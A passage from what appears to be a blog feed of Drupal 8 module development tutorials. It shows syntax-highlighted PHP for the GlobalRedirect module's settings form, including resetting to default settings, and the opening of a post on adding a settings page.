&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;parent::&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;submitForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;($form, $form_state);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * Clears the caches.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;submitResetDefaults&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$form, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$form_state) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;configFactory&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;globalredirect.settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get config factory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$settingsDefault &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getDefaultSettings&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    $config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $settingsDefault[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;parent::&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;submitForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;($form, $form_state);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * Returns an associative array of default settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;@return&lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getDefaultSettings&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    $defaults &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $defaults;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With credits and thanks to &lt;a href=&quot;https://twitter.com/matthewtift&quot;&gt;Matt&lt;/a&gt;  who pointed this out and was generous enough to comment on the previous blog and update me on this change.&lt;/p&gt;</content:encoded></item><item><title>Drupal 8 module development #3 – adding a settings page</title><link>https://lirantal.com/blog/2013-09-25/</link><guid>https://lirantal.com/blog/2013-09-25/</guid><description>You need a module configuration page for your new Drupal 8 module and here is how to build one using GlobalredirectSettingsForm</description><pubDate>Wed, 25 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Drupal modules often provide an administrator with a settings page so that various configuration options can be tuned and setup using the web interface. We will take a look at how we can create a configuration page and get to know some basic interactions with Drupal’s  &lt;a href=&quot;http://drupal8cmi.org/&quot;&gt;new configuration system&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the  &lt;a href=&quot;http://www.enginx.com/content/drupal-8-module-development-2-adding-basic-routing&quot;&gt;previous article&lt;/a&gt;  we briefly introduced the routing system, with adding a basic route. When that route is triggered Drupal will be searching for the settings form class implementation - &lt;code&gt;Drupal\globalredirect\Form\GlobalredirectSettingsForm&lt;/code&gt; that we defined in the route setting.&lt;/p&gt;
&lt;p&gt;Let’s begin by creating this directory structure of &lt;code&gt;lib/Drupal/globalredirect/Form&lt;/code&gt; in the module’s root directory and then create the form class &lt;code&gt;GlobalRedirectSettingsForm.php&lt;/code&gt; which will contain the skeleton class:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&amp;#x3C;?php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * @file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;namespace Drupal\globalredirect\Form;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
